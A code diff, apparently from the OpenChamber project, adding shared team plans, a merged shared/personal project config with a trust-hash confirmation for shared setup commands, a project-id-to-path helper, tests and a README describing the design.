return withWriteLock(projectId, async () => {
const now = Date.now();
const current = await readContext(projectId);
const current = await readStoredContext(projectId);
const existing = current.notes.find((note) => note.id === id);
if (!existing) {
return null;
@@ -486,7 +561,7 @@ export const createProjectContextRuntime = (deps) => {
}
return withWriteLock(projectId, async () => {
const current = await readContext(projectId);
const current = await readStoredContext(projectId);
if (!current.notes.some((note) => note.id === id)) {
return { deleted: false, context: current };
}
@@ -501,22 +576,38 @@ export const createProjectContextRuntime = (deps) => {
if (!id) {
throw new Error('planId is required');
}
const context = await readContext(projectId);
const sharedFile = sharedPlanFileOf(id);
if (sharedFile) {
const dir = await sharedPlansDirFor(projectId);
if (!dir) return null;
let raw;
try {
raw = await fsPromises.readFile(path.join(dir, sharedFile), 'utf8');
} catch (error) {
if (error && error.code === 'ENOENT') return null;
throw error;
}
const parsed = parsePlanMarkdown(raw);
return { id, file: sharedFile, createdAt: 0, title: parsed.title, body: parsed.body, raw, source: 'shared' };
}
const context = await readStoredContext(projectId);
const link = context.plans.find((entry) => entry.id === id);
if (!link) {
return null;
}
const folder = await folderOfLink(projectId, link);
if (!folder) return null;
let raw;
try {
raw = await fsPromises.readFile(path.join(plansDirFor(projectId), link.file), 'utf8');
raw = await fsPromises.readFile(path.join(folder, link.file), 'utf8');
} catch (error) {
if (error && error.code === 'ENOENT') return null;
throw error;
}
const parsed = parsePlanMarkdown(raw);
return { id: link.id, file: link.file, createdAt: link.createdAt, title: parsed.title, body: parsed.body, raw };
return { id: link.id, file: link.file, createdAt: link.createdAt, title: parsed.title, body: parsed.body, raw, source: link.shared ? 'shared' : 'personal' };
};
/**
@@ -541,14 +632,37 @@ export const createProjectContextRuntime = (deps) => {
}
const raw = clampLength(value.raw, PROJECT_PLAN_BODY_MAX_LENGTH);
const sharedFile = sharedPlanFileOf(id);
if (sharedFile) {
// A shared plan is the file itself: written verbatim, no manifest.
return withWriteLock(projectId, async () => {
const dir = await sharedPlansDirFor(projectId);
if (!dir) return null;
const filePath = path.join(dir, sharedFile);
try {
await fsPromises.access(filePath);
} catch (error) {
if (error && error.code === 'ENOENT') return null;
throw error;
}
await fsPromises.writeFile(filePath, raw, 'utf8');
const parsed = parsePlanMarkdown(raw);
const context = await readContext(projectId);
const plan = context.plans.find((entry) => entry.id === id) ?? { id, file: sharedFile, title: parsed.title, createdAt: Date.now(), pinned: false, source: 'shared' };
return { plan, context, title: parsed.title, body: parsed.body, raw };
});
}
return withWriteLock(projectId, async () => {
const current = await readContext(projectId);
const current = await readStoredContext(projectId);
const link = current.plans.find((entry) => entry.id === id);
if (!link) {
return null;
}
const filePath = path.join(plansDirFor(projectId), link.file);
const folder = await folderOfLink(projectId, link);
if (!folder) return null;
const filePath = path.join(folder, link.file);
// Refuse to recreate a file that was deleted underneath us: the link is
// already dead, and writing here would resurrect it with editor content
// the user believed was discarded.
@@ -569,7 +683,8 @@ export const createProjectContextRuntime = (deps) => {
};
await writeContext(projectId, next);
return { plan: nextLink, context: next, title: parsed.title, body: parsed.body, raw };
const { shared: isShared, ...publicLink } = nextLink;
return { plan: { ...publicLink, source: isShared ? 'shared' : 'personal' }, context: await readContext(projectId), title: parsed.title, body: parsed.body, raw };
});
};
@@ -586,7 +701,7 @@ export const createProjectContextRuntime = (deps) => {
const body = clampLength(typeof value?.body === 'string' ? value.body : '', PROJECT_PLAN_BODY_MAX_LENGTH);
return withWriteLock(projectId, async () => {
const current = await readContext(projectId);
const current = await readStoredContext(projectId);
const createdAt = Date.now();
const plansDir = plansDirFor(projectId);
await fsPromises.mkdir(plansDir, { recursive: true });
@@ -594,7 +709,7 @@ export const createProjectContextRuntime = (deps) => {
const baseName = `${createdAt}-${slugifyPlanTitle(title)}`;
let file = `${baseName}.md`;
let attempt = 1;
while (current.plans.some((entry) => entry.file === file)) {
while (current.plans.some((entry) => !entry.shared && entry.file === file)) {
file = `${baseName}-${attempt}.md`;
attempt += 1;
}
@@ -604,7 +719,7 @@ export const createProjectContextRuntime = (deps) => {
const link = { id: idFactory(), file, title, createdAt, pinned: false };
const next = { ...current, plans: [link, ...current.plans] };
await writeContext(projectId, next);
return { plan: link, context: next };
return { plan: { ...link, source: 'personal' }, context: await readContext(projectId) };
});
};
@@ -623,7 +738,7 @@ export const createProjectContextRuntime = (deps) => {
}
return withWriteLock(projectId, async () => {
const current = await readContext(projectId);
const current = await readStoredContext(projectId);
const existing = current.plans.find((entry) => entry.id === id);
if (!existing) {
return null;
@@ -631,7 +746,8 @@ export const createProjectContextRuntime = (deps) => {
const plan = { ...existing, pinned: pinned === true };
const next = { ...current, plans: current.plans.map((entry) => (entry.id === id ? plan : entry)) };
await writeContext(projectId, next);
return { plan, context: next };
const { shared: isShared, ...publicPlan } = plan;
return { plan: { ...publicPlan, source: isShared ? 'shared' : 'personal' }, context: await readContext(projectId) };
});
};
@@ -641,17 +757,124 @@ export const createProjectContextRuntime = (deps) => {
throw new Error('planId is required');
}
const sharedFile = sharedPlanFileOf(id);
if (sharedFile) {
return withWriteLock(projectId, async () => {
const dir = await sharedPlansDirFor(projectId);
const filePath = dir ? path.join(dir, sharedFile) : null;
const exists = filePath ? await fsPromises.access(filePath).then(() => true, () => false) : false;
if (!exists) return { deleted: false, context: await readContext(projectId) };
await fsPromises.rm(filePath, { force: true });
return { deleted: true, context: await readContext(projectId) };
});
}
return withWriteLock(projectId, async () => {
const current = await readContext(projectId);
const current = await readStoredContext(projectId);
const link = current.plans.find((entry) => entry.id === id);
if (!link) {
return { deleted: false, context: current };
return { deleted: false, context: await readContext(projectId) };
}
const next = { ...current, plans: current.plans.filter((entry) => entry.id !== id) };
await writeContext(projectId, next);
await fsPromises.rm(path.join(plansDirFor(projectId), link.file), { force: true });
return { deleted: true, context: next };
const folder = await folderOfLink(projectId, link);
if (folder) await fsPromises.rm(path.join(folder, link.file), { force: true });
return { deleted: true, context: await readContext(projectId) };
});
};
/** A free file name in `dir`, keeping the wanted base name unless it is taken. */
const freeFileNameIn = async (dir, wanted, taken = new Set()) => {
const base = wanted.replace(/\.md$/, '');
let file = wanted;
let attempt = 1;
while (taken.has(file) || await fsPromises.access(path.join(dir, file)).then(() => true, () => false)) {
file = `${base}-${attempt}.md`;
attempt += 1;
}
return file;
};
const moveFile = async (from, to) => {
try {
await fsPromises.rename(from, to);
} catch (error) {
if (!error || error.code !== 'EXDEV') throw error;
await fsPromises.copyFile(from, to);
await fsPromises.rm(from, { force: true });
}
};
/**
* Move one of the user's plans into the team's shared folder. The plan
* keeps its id: the manifest entry stays and gets the `shared` flag, so a
* session that attached the plan still finds it. The markdown moves first,
* then the manifest is written; a failure in between leaves the file in the
* shared folder (listed there as `shared:<file>`) and a dead personal entry
* that `readPlan` reports as gone. Needs a shared plans folder; refused
* (validation error) when the project has none.
*/
const sharePlan = async (projectId, planId) => {
const id = asNonEmptyString(planId);
if (!id) throw new Error('planId is required');
return withWriteLock(projectId, async () => {
const dir = await sharedPlansDirFor(projectId);
if (!dir) throw new Error('shared plans folder is required');
const current = await readStoredContext(projectId);
const link = current.plans.find((entry) => entry.id === id);
if (!link || link.shared) return null;
const from = path.join(plansDirFor(projectId), link.file);
const exists = await fsPromises.access(from).then(() => true, () => false);
if (!exists) return null;
await fsPromises.mkdir(dir, { recursive: true });
const file = await freeFileNameIn(dir, link.file);
await moveFile(from, path.join(dir, file));
const moved = { ...link, file, shared: true };
await writeContext(projectId, { ...current, plans: current.plans.map((entry) => (entry.id === id ? moved : entry)) });
const context = await readContext(projectId);
return { plan: context.plans.find((entry) => entry.id === id), context };
});
};
/**
* Move a shared plan back into the user's own plans; the reverse of
* `sharePlan`. A plan the user moved keeps its id; a plan that only ever
* lived in the team's folder (`shared:<file>`) gets a manifest entry now.
*/
const unsharePlan = async (projectId, planId) => {
const id = asNonEmptyString(planId);
if (!id) throw new Error('planId is required');
return withWriteLock(projectId, async () => {
const dir = await sharedPlansDirFor(projectId);
if (!dir) return null;
const current = await readStoredContext(projectId);
const ownLink = current.plans.find((entry) => entry.id === id && entry.shared);
const sharedFile = ownLink ? ownLink.file : sharedPlanFileOf(id);
if (!sharedFile) return null;
const from = path.join(dir, sharedFile);
let raw;
try {
raw = await fsPromises.readFile(from, 'utf8');
} catch (error) {
if (error && error.code === 'ENOENT') return null;
throw error;
}
const plansDir = plansDirFor(projectId);
await fsPromises.mkdir(plansDir, { recursive: true });
const taken = new Set(current.plans.filter((entry) => !entry.shared).map((entry) => entry.file));
const file = await freeFileNameIn(plansDir, sharedFile, taken);
await moveFile(from, path.join(plansDir, file));
const title = parsePlanMarkdown(raw).title;
const link = ownLink
? { ...ownLink, file, title, shared: false }
: { id: idFactory(), file, title, createdAt: Date.now(), pinned: false, shared: false };
const plans = ownLink
? current.plans.map((entry) => (entry.id === id ? link : entry))
: [link, ...current.plans];
await writeContext(projectId, { ...current, plans });
const { shared: _movedFlag, ...publicLink } = link;
return { plan: { ...publicLink, source: 'personal' }, context: await readContext(projectId) };
});
};
@@ -666,6 +889,8 @@ export const createProjectContextRuntime = (deps) => {
createPlan,
setPlanPinned,
deletePlan,
sharePlan,
unsharePlan,
contextPathFor,
plansDirFor,
};
@@ -52,6 +52,7 @@ describe('readContext', () => {
notes: [],
todos: [],
plans: [],
sharedPlansDir: null,
});
});
@@ -134,7 +135,7 @@ describe('legacy migration', () => {
const context = await runtime.readContext(PROJECT_ID);
expect(context.notes.map((note) => note.body)).toEqual(['legacy notes']);
expect(context.todos).toEqual([{ id: 't1', text: 'legacy todo', completed: true, createdAt: 5 }]);
expect(context.plans).toEqual([{ id: 'p1', file: '10-old.md', title: 'Old plan', createdAt: 10, pinned: false }]);
expect(context.plans).toEqual([{ id: 'p1', file: '10-old.md', title: 'Old plan', createdAt: 10, pinned: false, source: 'personal' }]);
const remaining = await readJson(legacyConfigPath());
expect(remaining).toEqual({
@@ -152,7 +153,7 @@ describe('legacy migration', () => {
});
const context = await runtime.readContext(PROJECT_ID);
expect(context.plans).toEqual([{ id: 'p1', file: 'stray.md', title: 'Stray', createdAt: 10, pinned: false }]);
expect(context.plans).toEqual([{ id: 'p1', file: 'stray.md', title: 'Stray', createdAt: 10, pinned: false, source: 'personal' }]);
expect(await fsPromises.readFile(path.join(plansDir(), 'stray.md'), 'utf8')).toContain('recovered');
});
@@ -170,7 +171,7 @@ describe('legacy migration', () => {
test('does not run when the legacy config holds no context keys', async () => {
await writeJson(legacyConfigPath(), { 'setup-worktree': ['bun install'] });
expect(await runtime.readContext(PROJECT_ID)).toEqual({ version: 2, notes: [], todos: [], plans: [] });
expect(await runtime.readContext(PROJECT_ID)).toEqual({ version: 2, notes: [], todos: [], plans: [], sharedPlansDir: null });
await expect(fsPromises.access(contextPath())).rejects.toThrow();
expect(await readJson(legacyConfigPath())).toEqual({ 'setup-worktree': ['bun install'] });
});
@@ -479,6 +480,108 @@ describe('plans', () => {
});
});
describe('shared plans', () => {
let sharedDir;
let sharedRuntime;
beforeEach(async () => {
sharedDir = path.join(projectsDirPath, 'repo', 'docs', 'plans');
sharedRuntime = createProjectContextRuntime({
fsPromises,
path,
projectsDirPath,
createId: () => `plan-${++idCounter}`,
resolveSharedPlansDir: async () => sharedDir,
});
});
test('lists the shared folder\'s markdown files after the personal plans, marked shared, and reads them by file', async () => {
await fsPromises.mkdir(sharedDir, { recursive: true });
await fsPromises.writeFile(path.join(sharedDir, 'roadmap.md'), '# Roadmap\n\n- ship it\n');
await fsPromises.writeFile(path.join(sharedDir, 'notes.txt'), 'not a plan');
await fsPromises.writeFile(path.join(sharedDir, 'untitled.md'), 'first line only');
const mine = await sharedRuntime.createPlan(PROJECT_ID, { title: 'Mine', body: 'x' });
const context = await sharedRuntime.readContext(PROJECT_ID);
expect(context.sharedPlansDir).toBe(sharedDir);
expect(context.plans.map((plan) => `${plan.id}:${plan.source}`)).toEqual(expect.arrayContaining([
`${mine.plan.id}:personal`, 'shared:roadmap.md:shared', 'shared:untitled.md:shared',
]));
expect(context.plans[0].id).toBe(mine.plan.id);
expect(context.plans.find((plan) => plan.id === 'shared:untitled.md').title).toBe('first line only');
const read = await sharedRuntime.readPlan(PROJECT_ID, 'shared:roadmap.md');
expect(read.title).toBe('Roadmap');
expect(read.raw).toBe('# Roadmap\n\n- ship it\n');
expect(await sharedRuntime.readPlan(PROJECT_ID, 'shared:missing.md')).toBeNull();
expect(await sharedRuntime.readPlan(PROJECT_ID, 'shared:../escape.md')).toBeNull();
});
test('a missing shared folder lists nothing; no folder configured lists nothing', async () => {
expect((await sharedRuntime.readContext(PROJECT_ID)).plans).toEqual([]);
expect((await runtime.readContext(PROJECT_ID)).sharedPlansDir).toBeNull();
});
test('updates and deletes a shared plan in place, verbatim', async () => {
await fsPromises.mkdir(sharedDir, { recursive: true });
await fsPromises.writeFile(path.join(sharedDir, 'a.md'), '# A\n');
const updated = await sharedRuntime.updatePlan(PROJECT_ID, 'shared:a.md', { raw: '# Renamed\n\nbody\n' });
expect(updated.plan.title).toBe('Renamed');
expect(updated.plan.source).toBe('shared');
expect(await fsPromises.readFile(path.join(sharedDir, 'a.md'), 'utf8')).toBe('# Renamed\n\nbody\n');
expect(await sharedRuntime.updatePlan(PROJECT_ID, 'shared:gone.md', { raw: 'x' })).toBeNull();
expect(await sharedRuntime.setPlanPinned(PROJECT_ID, 'shared:a.md', true)).toBeNull();
const deleted = await sharedRuntime.deletePlan(PROJECT_ID, 'shared:a.md');
expect(deleted.deleted).toBe(true);
await expect(fsPromises.access(path.join(sharedDir, 'a.md'))).rejects.toThrow();
expect((await sharedRuntime.deletePlan(PROJECT_ID, 'shared:a.md')).deleted).toBe(false);
});
test('share moves a personal plan into the shared folder and unshare brings it back, avoiding name collisions', async () => {
const { plan } = await sharedRuntime.createPlan(PROJECT_ID, { title: 'Mine', body: 'body' });
const shared = await sharedRuntime.sharePlan(PROJECT_ID, plan.id);
// The id survives the move: a session that attached the plan still finds it.
expect(shared.plan.id).toBe(plan.id);
expect(shared.plan.source).toBe('shared');
expect(shared.context.plans.map((entry) => `${entry.id}:${entry.source}`)).toEqual([`${plan.id}:shared`]);
await expect(fsPromises.access(path.join(plansDir(), plan.file))).rejects.toThrow();
expect(await fsPromises.readFile(path.join(sharedDir, plan.file), 'utf8')).toBe('# Mine\n\nbody');
expect((await readJson(path.join(projectsDirPath, PROJECT_ID, 'context.json'))).plans[0]).toMatchObject({ id: plan.id, shared: true });
const readMoved = await sharedRuntime.readPlan(PROJECT_ID, plan.id);
expect(readMoved.source).toBe('shared');
expect(readMoved.raw).toBe('# Mine\n\nbody');
expect((await sharedRuntime.updatePlan(PROJECT_ID, plan.id, { raw: '# Mine v2\n' })).plan).toMatchObject({ id: plan.id, title: 'Mine v2', source: 'shared' });
expect(await fsPromises.readFile(path.join(sharedDir, plan.file), 'utf8')).toBe('# Mine v2\n');
// A personal file with the same name already exists: the returning plan gets a suffix, same id.
await fsPromises.mkdir(plansDir(), { recursive: true });
await fsPromises.writeFile(path.join(plansDir(), plan.file), 'squatter');
const back = await sharedRuntime.unsharePlan(PROJECT_ID, plan.id);
expect(back.plan.id).toBe(plan.id);
expect(back.plan.source).toBe('personal');
expect(back.plan.file).toBe(plan.file.replace(/\.md$/, '-1.md'));
expect(back.plan.title).toBe('Mine v2');
expect(back.context.plans.map((entry) => `${entry.id}:${entry.source}`)).toEqual([`${plan.id}:personal`]);
await expect(fsPromises.access(path.join(sharedDir, plan.file))).rejects.toThrow();
expect(await sharedRuntime.unsharePlan(PROJECT_ID, plan.id)).toBeNull();
expect(await sharedRuntime.sharePlan(PROJECT_ID, 'nope')).toBeNull();
// A plan that only ever lived in the team's folder gets an id of its own on the way in.
await fsPromises.writeFile(path.join(sharedDir, 'foreign.md'), '# Foreign\n');
const adopted = await sharedRuntime.unsharePlan(PROJECT_ID, 'shared:foreign.md');
expect(adopted.plan.id).not.toMatch(/^shared:/);
expect(adopted.plan.title).toBe('Foreign');
expect(adopted.plan.source).toBe('personal');
});
test('share is refused without a shared plans folder', async () => {
const { plan } = await runtime.createPlan(PROJECT_ID, { title: 'Mine', body: 'x' });
await expect(runtime.sharePlan(PROJECT_ID, plan.id)).rejects.toThrow('shared plans folder is required');
expect((await runtime.readContext(PROJECT_ID)).plans.map((entry) => entry.id)).toEqual([plan.id]);
});
});
describe('parsePlanMarkdown', () => {
test('reads the leading heading as the title', () => {
expect(parsePlanMarkdown('# Title\n\nbody')).toEqual({ title: 'Title', body: 'body' });
@@ -0,0 +1,76 @@
# Projects
## Purpose
Server-owned storage for a project's per-user config file,
`~/.config/openchamber/projects/<projectId>.json`. The file holds two
families of keys with different writers, and this module is the only place
that writes it:
| Keys | Owner | Reached through |
|---|---|---|
| `version`, `scheduledTasks` | `project-config.js` (scheduled-task runtime) | `/api/projects/:projectId/scheduled-tasks/*` |
| `setup-worktree`, `setup-worktree-wait`, `projectActions`, `projectActionsPrimaryId`, `draftStarters`, `projectPath` | `project-setup.js` via `readProjectSetup` / `updateProjectSetup` on the same runtime | `GET/PUT /api/projects/:projectId/config` (`routes.js`) |
Notes, todos, and plans moved out of this file to `packages/web/server/lib/project-context`.
A second, optional source is the team's shared file, `<repo>/.openchamber/project.json`
(`version: 1`; `setupWorktree`, `setupWorktreeWait`, `projectActions`, `draftStarters`,
`plansDir`). The server reads it from the checkout the project id names
(`projectPathFromId`). `GET /api/projects/:projectId/config`
returns one merged view: what runs at the top level, plus `shared` and `personal`
blocks so a page can edit the personal file without copying a teammate's entry into it.
| Field | Merge rule |
|---|---|
| `setupWorktree` | shared first, then personal; personal `setupWorktreeMode: "replace"` uses the personal list only |
| `setupWorktreeWait` | personal when the personal file sets it, else shared, else `false` |
| `projectActions` | union by `id`; a personal action replaces the shared one with the same id; ids in personal `hiddenSharedActionIds` are dropped; every entry carries `source` |
| `projectActionsPrimaryId` | personal only |
| `draftStarters` | union by `type:name`, shared first, every entry carries `source` |
| `plansDir` | shared only |
A shared file that exists but cannot be parsed (or names a `plansDir` outside the
repo) is `shared.status: "invalid"` with a `reason`; the personal setup is still
served. It is never treated as "no shared setup".
### Writing the shared file
`PUT /api/projects/:projectId/config/shared` (`updateSharedProjectSetup`) is
the only writer. The patch replaces the keys it names over the current file
(a broken file counts as empty, so a write repairs it); the result is written
pretty-printed with `version` first and only the keys that carry something
(`serializeSharedProjectConfig`), because the file is committed and reviewed.
A result with nothing in it removes the file and the `.openchamber` folder
when that leaves it empty, so unsharing the last item leaves no trace. The
write refuses a checkout that does not exist and a `plansDir` outside the
repo. The writer has seen what it shared, so its personal trust record is set
to the new hash; teammates still get the prompt. The shared UI composes
"share" and "make personal" as a shared write followed by a personal write.
### Trust
Shared setup commands and shared actions run on the machine of whoever pulls
the repo, so they run only after the user has seen them. The view carries
`trust: { hash, trusted }`: `hash` is `sharedTrustHashOf(shared)`, a SHA-256
over the executable parts (`setupWorktree` and each action's `id`, `command`,
`runIn`, actions sorted by id; names and icons do not count), or `null` when
nothing executes. `trusted` is true when nothing executes or the personal
file's `sharedTrust.hash` equals the current hash, so a pull that changes a
command brings the prompt back. The client records an answer with a PUT of
`sharedTrustHash` (`null` forgets it). The prompt itself lives in the shared
UI (`packages/ui/src/lib/sharedTrustConfirmation.ts`).
## Modules
- `project-id.js``createProjectIdFromPath` / `projectPathFromId`: the path-derived id (`path_<base64url>`) that names the file, and the checkout path back from it. The shared UI derives the same id (`packages/ui/src/lib/projectId.ts`); both sides must agree.
- `project-config.js``createProjectConfigRuntime`: raw read, atomic write, the cross-process file lock (Electron and a CLI `serve` can share one projects dir), scheduled-task normalization, and the project-setup read/update.
- `project-setup.js` — sanitizers, the shared-file parser (`parseSharedProjectConfig`, `normalizePlansDir`), the merge (`mergeProjectSetup`), and the personal view for the setup keys. Mirrored in the VS Code extension host (`packages/vscode/src/project-setup.ts`), which owns the same file when the webview has no OpenChamber server; keep the two in sync.
- `routes.js` — the setup routes. `/api/projects` is on the JSON-body allowlist in `opencode/core-routes.js`.
## Invariants
- **Every write is a locked read-modify-write of the whole document.** Keys the writer does not own, and keys from newer builds, come back out unchanged. A setup update and a scheduled-task update never clobber each other.
- **A wrongly shaped key is a 400, not a silent drop.** `projectSetupPatchToStored` throws; the file is untouched. Values inside a well-shaped key are sanitized (trimmed, capped, deduplicated) rather than rejected.
- **The client never composes the path.** `packages/ui/src/lib/openchamberConfig.ts` speaks only HTTP; the same code serves web, desktop, VS Code, and the phone, including a phone on a remote instance.
- **`OPENCHAMBER_DATA_DIR` moves this directory too.** Every OpenChamber folder hangs off the one root; a custom root gets `projects/`, `themes/`, and `speech-models/` copied in from `~/.config/openchamber` once at startup (copied, not moved: a second instance beside the default one must not strip it) (`lib/data-dir-migration.js`). A scratch server started with its own data dir therefore never touches the real project configs.
@@ -1,6 +1,21 @@
import { DateTime, IANAZone } from 'luxon';
import parser from 'cron-parser';
import { projectPathFromId } from './project-id.js';
import {
DEFAULT_PLANS_DIR,
EMPTY_SHARED_PROJECT_CONFIG,
SHARED_CONFIG_RELATIVE_PATH,
applySharedProjectSetupPatch,
isSharedProjectConfigEmpty,
mergeProjectSetup,
parseSharedProjectConfig,
projectSetupPatchToStored,
projectSetupViewOf,
serializeSharedProjectConfig,
sharedTrustHashOf,
} from './project-setup.js';
const PROJECT_CONFIG_VERSION = 1;
export const MAX_TASK_NAME_LENGTH = 80;
const MAX_TASK_PROMPT_LENGTH = 20_000;
@@ -548,21 +563,16 @@ export const createProjectConfigRuntime = (deps) => {
})
);
const writeProjectConfigToDisk = async (projectID, config) => {
// Atomic whole-document write; callers hand in the merged document so the
// keys they do not own survive untouched.
const writeRawProjectConfigToDisk = async (projectID, document) => {
const filePath = resolveProjectConfigPath(projectID);
const parentDirectory = path.dirname(filePath);
const temporaryPath = `${filePath}.tmp-${process.pid}-${Date.now()}-${Math.random().toString(16).slice(2)}`;
const existing = await readRawProjectConfigFromDisk(projectID);
const merged = {
...existing,
version: PROJECT_CONFIG_VERSION,
scheduledTasks: Array.isArray(config?.scheduledTasks) ? config.scheduledTasks : [],
};
await fsPromises.mkdir(parentDirectory, { recursive: true });
try {
await fsPromises.writeFile(temporaryPath, JSON.stringify(merged, null, 2), 'utf8');
await fsPromises.writeFile(temporaryPath, JSON.stringify(document, null, 2), 'utf8');
await fsPromises.rename(temporaryPath, filePath);
} catch (error) {
await fsPromises.rm(temporaryPath, { force: true }).catch(() => {});
@@ -570,6 +580,15 @@ export const createProjectConfigRuntime = (deps) => {
}
};
const writeProjectConfigToDisk = async (projectID, config) => {
const existing = await readRawProjectConfigFromDisk(projectID);
await writeRawProjectConfigToDisk(projectID, {
...existing,
version: PROJECT_CONFIG_VERSION,
scheduledTasks: Array.isArray(config?.scheduledTasks) ? config.scheduledTasks : [],
});
};
const withProjectWriteLock = async (projectID, mutate) => {
const key = sanitizeProjectID(projectID);
const previous = writeLocks.get(key) || Promise.resolve();
@@ -905,7 +924,121 @@ export const createProjectConfigRuntime = (deps) => {
});
};
// The client-owned part of the file (worktree setup, project actions, draft
// starters); see `project-setup.js`. Reads are lock-free like task lists;
// an update merges the sanitized patch over the raw document under the same
// cross-process lock the task writers use, so neither side clobbers the other.
// The shared file lives in the project's checkout. The checkout path comes
// from the id itself (`path_<base64url>`), with the personal file's
// `projectPath` as the fallback for ids of another form. A missing file is
// the normal case; an unreadable or unparsable one is reported as invalid,
// never as "no shared setup".
const projectPathOf = (projectID, personalRaw) => (
projectPathFromId(projectID) || (typeof personalRaw.projectPath === 'string' ? personalRaw.projectPath.trim() : '')
);
const sharedConfigPathOf = (projectPath) => path.join(projectPath, ...SHARED_CONFIG_RELATIVE_PATH.split('/'));
const readSharedProjectConfig = async (projectID, personalRaw) => {
const projectPath = projectPathOf(projectID, personalRaw);
if (!projectPath) return { status: 'missing' };
let raw;
try {
raw = await fsPromises.readFile(sharedConfigPathOf(projectPath), 'utf8');
} catch (error) {
if (error && typeof error === 'object' && error.code === 'ENOENT') return { status: 'missing' };
return { status: 'invalid', reason: error instanceof Error ? error.message : String(error) };
}
return parseSharedProjectConfig(raw);
};
const mergedProjectSetupOf = async (projectID, personalRaw) => (
mergeProjectSetup(projectSetupViewOf(personalRaw), await readSharedProjectConfig(projectID, personalRaw))
);
const readProjectSetup = async (projectID) => mergedProjectSetupOf(projectID, await readRawProjectConfigFromDisk(projectID));
const updateProjectSetup = async (projectID, patch) => {
const stored = projectSetupPatchToStored(patch);
return withProjectWriteLock(projectID, async () => {
const existing = await readRawProjectConfigFromDisk(projectID);
const merged = { ...existing, ...stored };
for (const [key, value] of Object.entries(stored)) {
if (value === undefined) delete merged[key];
}
await writeRawProjectConfigToDisk(projectID, merged);
return mergedProjectSetupOf(projectID, merged);
});
};
/**
* Change the team's shared file in the checkout: the patch replaces the
* keys it names over the current file (a broken file counts as empty, so
* a write repairs it). A result with nothing in it removes the file (and
* the `.openchamber` folder when that leaves it empty), so unsharing the
* last item leaves no trace. The writer has seen the commands it just
* shared, so the personal trust record is set to the new hash on this
* instance; teammates still get the prompt.
*/
const updateSharedProjectSetup = async (projectID, patch) => (
withProjectWriteLock(projectID, async () => {
const personalRaw = await readRawProjectConfigFromDisk(projectID);
const projectPath = projectPathOf(projectID, personalRaw);
if (!projectPath) throw new Error('project checkout not found');
try {
if (!(await fsPromises.stat(projectPath)).isDirectory()) throw new Error('project checkout not found');
} catch {
throw new Error('project checkout not found');
}
const currentRead = await readSharedProjectConfig(projectID, personalRaw);
const current = currentRead.status === 'ok' ? currentRead.config : EMPTY_SHARED_PROJECT_CONFIG;
const next = applySharedProjectSetupPatch(current, patch);
const filePath = sharedConfigPathOf(projectPath);
if (isSharedProjectConfigEmpty(next)) {
await fsPromises.rm(filePath, { force: true });
await fsPromises.rmdir(path.dirname(filePath)).catch(() => {});
} else {
await fsPromises.mkdir(path.dirname(filePath), { recursive: true });
const temporaryPath = `${filePath}.tmp-${process.pid}-${Date.now()}`;
try {
await fsPromises.writeFile(temporaryPath, serializeSharedProjectConfig(next), 'utf8');
await fsPromises.rename(temporaryPath, filePath);
} catch (error) {
await fsPromises.rm(temporaryPath, { force: true }).catch(() => {});
throw error;
}
}
const hash = sharedTrustHashOf(next);
const personalNext = { ...personalRaw };
if (hash) personalNext.sharedTrust = { hash, trustedAt: Date.now() };
else delete personalNext.sharedTrust;
await writeRawProjectConfigToDisk(projectID, personalNext);
return mergedProjectSetupOf(projectID, personalNext);
})
);
/**
* The absolute repository plans folder of a project: `plansDir` from the
* shared file when set, else the default `.openchamber/plans`. Setting
* `plansDir` replaces the default outright (nothing is read from it any
* more); moving files between the two is the user's job. Null only when the
* checkout cannot be located.
*/
const resolveSharedPlansDir = async (projectID) => {
const personalRaw = await readRawProjectConfigFromDisk(projectID);
const projectPath = projectPathOf(projectID, personalRaw);
if (!projectPath) return null;
const shared = await readSharedProjectConfig(projectID, personalRaw);
const relative = shared.status === 'ok' && shared.config.plansDir ? shared.config.plansDir : DEFAULT_PLANS_DIR;
return path.join(projectPath, ...relative.split('/'));
};
return {
readProjectSetup,
updateProjectSetup,
updateSharedProjectSetup,
resolveSharedPlansDir,
listScheduledTasks,
upsertScheduledTask,
deleteScheduledTask,
@@ -11,3 +11,20 @@ export const createProjectIdFromPath = (projectPath) => {
return `path_${Buffer.from(normalized, 'utf8').toString('base64url')}`;
};
/**
* The path a `path_<base64url>` id was made from, or `''` when the id is not
* of that form. The projects dir names files by this id, so the server can
* find the project's checkout (and the shared config inside it) from the id
* alone.
*/
export const projectPathFromId = (projectId) => {
if (typeof projectId !== 'string' || !projectId.startsWith('path_')) return '';
const encoded = projectId.slice('path_'.length);
if (!encoded || !/^[A-Za-z0-9_-]+$/.test(encoded)) return '';
try {
return Buffer.from(encoded, 'base64url').toString('utf8');
} catch {
return '';
}
};
@@ -0,0 +1,409 @@
// A project's setup — worktree setup commands, project actions, pinned draft
// starters — comes from two files:
//
// - the personal file `~/.config/openchamber/projects/<projectId>.json`
// (client-owned keys; server-owned `version` / `scheduledTasks` live beside
// them and are never touched here), and
// - the shared file `<repo>/.openchamber/project.json`, committed by a team so
// a teammate who pulls the code gets the setup without configuring anything.
//
// This module knows both shapes and the one merge rule per field. The route
// and the VS Code bridge (`packages/vscode/src/project-setup.ts`, a mirror of
// this file) use the same code paths so a value reads back the same on every
// surface.
import crypto from 'node:crypto';
const ACTION_NAME_MAX_LENGTH = 80;
const ACTION_COMMAND_MAX_LENGTH = 4000;
const ACTION_OPEN_URL_MAX_LENGTH = 2000;
const ACTION_DESKTOP_FORWARD_MAX_LENGTH = 300;
const SETUP_COMMAND_MAX_LENGTH = 4000;
const SETUP_COMMANDS_MAX = 50;
const ACTION_PLATFORMS = new Set(['macos', 'linux', 'windows']);
const SETUP_WORKTREE_MODES = new Set(['append', 'replace']);
const isObjectRecord = (value) => Boolean(value) && typeof value === 'object' && !Array.isArray(value);
const clamp = (value, maxLength) => (value.length > maxLength ? value.slice(0, maxLength) : value);
const trimmedString = (value) => (typeof value === 'string' ? value.trim() : '');
/** Setup commands: non-empty trimmed strings, capped in count and length. */
export const sanitizeSetupCommands = (value) => {
if (!Array.isArray(value)) return [];
const commands = [];
for (const entry of value) {
const command = clamp(trimmedString(entry), SETUP_COMMAND_MAX_LENGTH);
if (!command) continue;
commands.push(command);
if (commands.length >= SETUP_COMMANDS_MAX) break;
}
return commands;
};
const sanitizeActionPlatforms = (value) => {
if (!Array.isArray(value)) return [];
const platforms = [];
for (const entry of value) {
const platform = trimmedString(entry).toLowerCase();
if (ACTION_PLATFORMS.has(platform) && !platforms.includes(platform)) platforms.push(platform);
}
return platforms;
};
/**
* Project actions: `id`, `name`, and `command` are required and ids are
* unique; every optional field is dropped when empty so the stored record
* carries only what the user set. `runIn` keeps only the one value the UI
* understands (`parent`); anything else means "run in the worktree".
